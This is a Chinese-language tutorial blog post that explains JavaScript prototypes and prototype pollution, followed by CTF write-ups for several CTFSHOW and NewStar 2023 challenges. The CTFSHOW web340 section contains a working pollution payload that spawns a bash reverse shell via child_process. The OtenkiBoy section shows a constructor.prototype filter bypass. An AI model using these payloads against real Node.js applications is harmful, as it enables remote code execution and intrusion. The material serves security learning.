前言
本文将从最基础的js前置知识将到原型污染
最后通过几道例题加以应用,希望对正在网络安全路上奔跑的你有所帮助。
后续还会讲解一些比较难的知识点,敬请关注。
js对象
const user ={
user : "zacarx",
id : "12345",
pass : "123456"
}
console.log(user.user);
console.log(user.id);
console.log(user.pass);
输出
zacarx
12345
123456
这一点和java等编程很像
js原型
js原型也叫做js原型对象是一种对象属性,每一个函数都有一个属性,这个属性就是prototype。
prototype原型对象给构造函数添加方法就可以解决这个问题,添加到prototype原型上的方法
会被该构造函数,所构造出来的所有对象共享。
Array.prototype.sum = function(){
var res = 0; // 用于记录求和结果
for(var i = 0; i < this.length; i++){
res += this[i];
}
return res;
};
var arr1 = [1,2,3,4,5]; // 这里使用了数组字面量,而不是 new Array
var arr2 = [10,20,30,40,50]; // 同上
// 弹出 arr1 的元素和,应该是 15
alert(arr1.sum());
// 弹出 arr2 的元素和,应该是 150
alert(arr2.sum());
// 弹出 true,因为 arr1.sum 和 arr2.sum 都是指向 Array 原型上的同一个函数
alert(arr1.sum == arr2.sum);
alert(arr1.sum() == arr2.sum()); //false
原型链
构造函数构造出来的对象,拥有一个proto的这么一个属性,这个proto还可以有它自己的proto,以此类推,就形成了一个原型链。 非常形象
下面是一个例子
function Person(name){
this.name = name;
}
Person.prototype.sayname = function(){
console.log("Hi 我是 "+ this.name);
}
var person1 = new Person("Zacarx");
person1.sayname();
function Student(name,grade){
Person.call(this,name);
this.grade = grade;
}
Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;
//继承Person,并且创建constructor属性保持Student完整
Student.prototype.saygrade = function(){
console.log("今年上"+ this.grade);
}
var student1 = new Student("Zacarx","大学二年级");
student1.saygrade();
输出
Hi 我是 Zacarx
今年上大学二年级
因为有面向对象的基础,因此很简单,下面值得了解的几个点
Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;
我们继承Person后,创建constructor属性
为什么要这样做呢
原因如下:
在默认情况下,每个原型对象都会自动获得一个constructor属性,这个属性指向其对应的构造函数。当我们替换了Student.prototype,这个默认的constructor属性就丢失了。
那么constructor作用都是什么呢
往下看:
constructor
1.检查对象是由哪个构造函数创建的
function Person(name) {
this.name = name;
}
var person1 = new Person('Zacarx');
console.log(person1.constructor === Person); // true
2.不知道具体构造函数的情况下,从现有实例创建新实例
var person2 = new person1.constructor('moez');
console.log(person2.name); // 'moez'
console.log(person2 instanceof Person); // true
3. 重置构造函数
Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;
刚才的例子就可以说明
4.类型判断
var myArray = [1, 2, 3];
console.log(myArray.constructor === Array); // true
proto属性
_proto(在新版本的JavaScript中,我们使用Object.getPrototypeOf()作为标准方法)是每个对象内部用来指向其构造函数的原型对象(prototype)的属性。这个属性通常被用于原型链的查找机制,允许对象访问定义在其原型上的属性和方法。
下面是几个例子
访问原型链上的属性
function Animal(name) {
this.name = name;
}
Animal.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};
var myAnimal = new Animal('Mittens');
// 直接访问原型链上的方法
myAnimal.__proto__.greet.call(myAnimal); // 输出: Hello, my name is Mittens
// 使用Object.getPrototypeOf()替代__proto__
Object.getPrototypeOf(myAnimal).greet.call(myAnimal); // 输出: Hello, my name is Mittens
有一点java中反射的味道( T_T )
myAnimal.proto指向Animal.prototype,允许我们直接调用定义在Animal原型上的greet方法。
下面是重头戏
修改原型链
参考https://blog.csdn.net/qq_38643776/article/details/88951652举几个例子
修改proto的例子
var arr = [1,2,3];
arr.__proto__.addClass = function () {
console.log(123);
}
arr.push(4);
arr.addClass(); // 123
完全重写 proto 的例子
var arr = [1,2,3];
arr.__proto__ = {
addClass: function () {
console.log(123);
}
};
arr.addClass(); // 123
prototype和proto的区别
除了 prototype 但我们写ctf都是proto什么什么的
两者很像,我们看看其有什么区别
- prototype是函数的属性,而proto(或Object.getPrototypeOf())是对象的属性。
- prototype用于定义可以被所有实例共享的属性和方法,而proto用于访问对象的原型链,即它的构造函数的原型。
- prototype存在于整个生命周期,而proto在对象创建时指向其构造函数的prototype,之后可能会因为原型链的修改而改变。
这么一看,这哥俩显然是两个服务生,一个prototype服务函数,另一个则服务对象
原型污染漏洞
在JavaScript中,对象是通过原型链继承属性和方法的。原型污染发生时,攻击者可以修改或污染对象的原型,从而影响所有基于该原型创建的对象。
推荐阅读:
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
要想完成原型污染利用,就需要三个关键点:原型污染source、sink和可利用的利用链
Source
是指攻击者可以控制的输入点,它允许将任意属性注入到对象的原型链中。这个输入点可能是用户输入、第三方库的输入、未经验证的数据源等。在JavaScript中,如果未对这种输入进行适当的校验和清理,它就可以被用来修改对象的原型。
function merge(obj1, obj2) {
Object.assign(obj1, obj2);
}
let maliciousInput = { __proto__: { evilMethod: () => { /* arbitrary code */ } };
let safeObject = {};
merge(safeObject, maliciousInput);
// 如果merge函数没有正确处理,可能导致原型污染
//maliciousInput就是原型污染的source
Sink
是指一个能够利用被污染的原型链执行任意代码的函数或DOM元素。Sink通常是一个在应用程序中有特定功能的点,例如执行某些操作或调用其他函数。如果攻击者能够控制通过原型链传递到sink的属性或方法,那么他们就可能执行恶意代码。
Object.prototype.toString = () => { /* arbitrary code */ };
let someObject = {};
console.log(someObject.toString()); // 如果toString被污染,这里将执行恶意代码
//console.log就是sink,因为它最终调用了被污染的toString方法。
可利用的利用链
是指从原型污染source到sink的路径,攻击者可以利用这条路径传递恶意数据并执行代码。这条链可能涉及多个步骤,包括数据传递、原型链的修改、以及最终在sink点的代码执行。
常见利用
最常见的原型污染是在以下结构/操作中发现的
对象的递归合并(例如,https://github.com/jonschlinkert/merge-deep)
克隆对象 (例如,https://github.com/jonschlinkert/clone-deep)
将GET参数转换为JavaScript对象 (例如,https://github.com/AceMetrix/jquery-deparam)
将 .toml 或 .ini 配置文件转换为JavaScript对象(例如,npm/ini)
一个经典案例:
对象递归合并
在https://www.freebuf.com/articles/web/275619.html 大佬举了个例子
为了直观一点我改了16,18行代码
const merge = (target, source) => {
// Iterate through `source` properties and if an `Object` set property to merge of `target` and `source` properties
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) Object.assign(source[key], merge(target[key], source[key]))
}
// Join `target` and modified `source`
Object.assign(target || {}, source)
return target
}
function Person(name,age,gender){
this.name=name;
this.age=age;
this.gender=gender;
}
let newperson=new Person("",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"hacker":"Zacarx"}}');
merge(newperson,job);
console.log(newperson.hacker);
我们调试会发现,递归的时候,当递归到proto,由于proto是所有JavaScript对象都有的内置属性,而Object.assign不会复制源对象的原型,但是当它作为普通的可枚举属性出现时,Object.assign却会将其视作普通对象属性进行复制。这意味着在执行merge函数时,source[proto]会被认为是一个需要合并的对象,并且它最终会被赋值给target[proto](newperson[proto])故,只有不安全的递归合并函数才会导致原型链污染,非递归的算法是不会导致原型链污染的
因此,里面的属性也会被合并,如下图:
就导致newperson也有了hacker属性
即,如果job属性和值可控那么就可以造成攻击的可能
而如果我们还能找到一个Sink那么就能完成攻击
CTF中的原型污染
我们看几道题看看都考的是什么
CTFSHOW_web338
代码主要是下面两页
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
../utils/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这显然就是刚提到的对象递归合并,而且更加通俗易懂
我们故技重施看看:
像这种题 如果污染错了,要及时重开环境 不然会会一直500报错
CTFSHOW_web339
这题比上题难挺多,没写出来,可能是做得少吧
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
原理也不难
通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce
本地试试
CTFSHOW_web340
修改了一下代码
utils.copy(user.userinfo,req.body);
需要向上两级污染
也不难
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/3333 0>&1\"')"}}}
2023newstar_OtenkiGirl
因为是新生赛还给了hint,人还怪好,不过新生赛出这个多少有点打击新生自信
题目代码很多不过前面的题要是都看懂了,这解题简直如探囊取物
route目录就三个js文件
sql.js
-- 数据库配置和功能实现,没什么看的
submit.js
--这个得好好分析
首先一眼就看到了
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
那这个题显然有原型污染了
查看调用
发现除了递归用了一次,只有一处用到了这个函数
全部拿来看看
发现貌似是让我们post一个json就能调用了
然后我们再看看别的代码
info.js
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
这个函数意思就是设立一个最小时间戳和路由传入的时间戳
然后比较大小,谁大就选谁为真timestamp
然后查询数据库,把截至到真timestamp之前的wishid数据返回,那么这里的数据显然是缺失的,要想得到完整数据那么我们就得把最小时间戳赋值下, 也就是修改下min_public_time
我随便整个1970年的时间戳,666(其实随便写一个小一点的数字都可以,按照配置写时间应该也行)
现在访问info路由
现在看是看不到的
我们把info后面的数字改小一些
这样就看到flag了
除此之外newstar_还有个newstar_OtenkiBoy ,难度颇高,有时间可以自己看看
2023newstar_OtenkiBoy
又是一个提示
## createDate 的功能
将传入的 str 根据 format 模板字符串获取时间信息,返回 Date 对象。如果没有匹配的 format 字符串,将采用默认的对 str 的处理方式
默认的对 str 的处理支持识别 ISO 格式和众多传统格式,分隔符附近允许出现空格,ISO 格式月份、日期等也不一定要在前面补 0
**提示**:相关的实现过程不必深入解读,重点关注 createDate 的 opts 处理和注释 utility functions 的部分
## Utility Functions 说明
- isLeepYear - 检测闰年
- MonthDay - 一个月的天数
- pad - 在字符前面补 0
- getYMD - 传入较为灵活的日期字符串,返回年份、月份、日期
- getHMS - 传入较为灵活的时间字符串,返回小时、分钟、秒(如果未指定,默认为0)、毫秒(如果未指定,则不返回)
这次要难一些,一个是merge变成了mergeJson,加了过滤
const mergeJSON = function (target, patch, deep = false) {
if (typeof patch !== "object") return patch;
if (Array.isArray(patch)) return patch; // do not recurse into arrays
if (!target) target = {}
if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
for (let key in patch) {
if (key === "__proto__") continue;
if (target[key] !== patch[key])
target[key] = mergeJSON(target[key], patch[key]);
}
return target;
}
不过这个用constructor.prototype就能绕过,很简单
还有一个提到的createDate就很麻烦了
这个函数主要用在info路由的时间戳和min时间戳上
如下
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp;
try {
minTimestamp = createDate(CONFIG.min_public_time).getTime();
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
}
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
下面看看createDate
这一百多行代码看完人都麻了,这显然更像是开发题目,显然让我看这个多少有些浪费时间
于是我搬出最强帕鲁gpt4帮我读, 不过不知道ai的智力水平没到这个程度还是他太懒了,草草敷衍,服了
于是我又看起了hint
重点关注 createDate 的 opts 处理和注释 utility functions 的部分
opts.format = opts.format || CopiedDefaultOptions.format;
opts.baseDate = new Date(opts.baseDate || Date.now());
这两个都可以通过原型污染绕过
if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" &&
typeof HH === "string" && typeof mm === "string" && typeof ss === "string") {
return new Date(`${yyyy}-${MM}-${dd}T${HH}:${mm}:${ss}` + (typeof fff === "string" ? `.${fff}` : "") + (UTC ? "Z" : ""));
} else return new Date("Invalid Date");‵
结合上文我们可以污染fff为无效的字符,使最后的返回时间无效,执行最开头catch中的内容,此时取得是DEFAULT_CONFIG.min_public_time,也就是min_public_time: "2019-07-08T16:00:00.000Z",结合之前讲的yy标识符,我们只需要污染format为:yy19-MM-ddTHH:mm:ss.fffZ 就能将返回时间改成shou1919-07-08T16:00:00.000Z.
{
"contact":"a", "reason":"a",
"constructor":{
"prototype":{
"format": "yy19-MM-ddTHH:mm:ss.fffZ",
"baseDate":"aaa",
"fff": "bbb"
}
}
}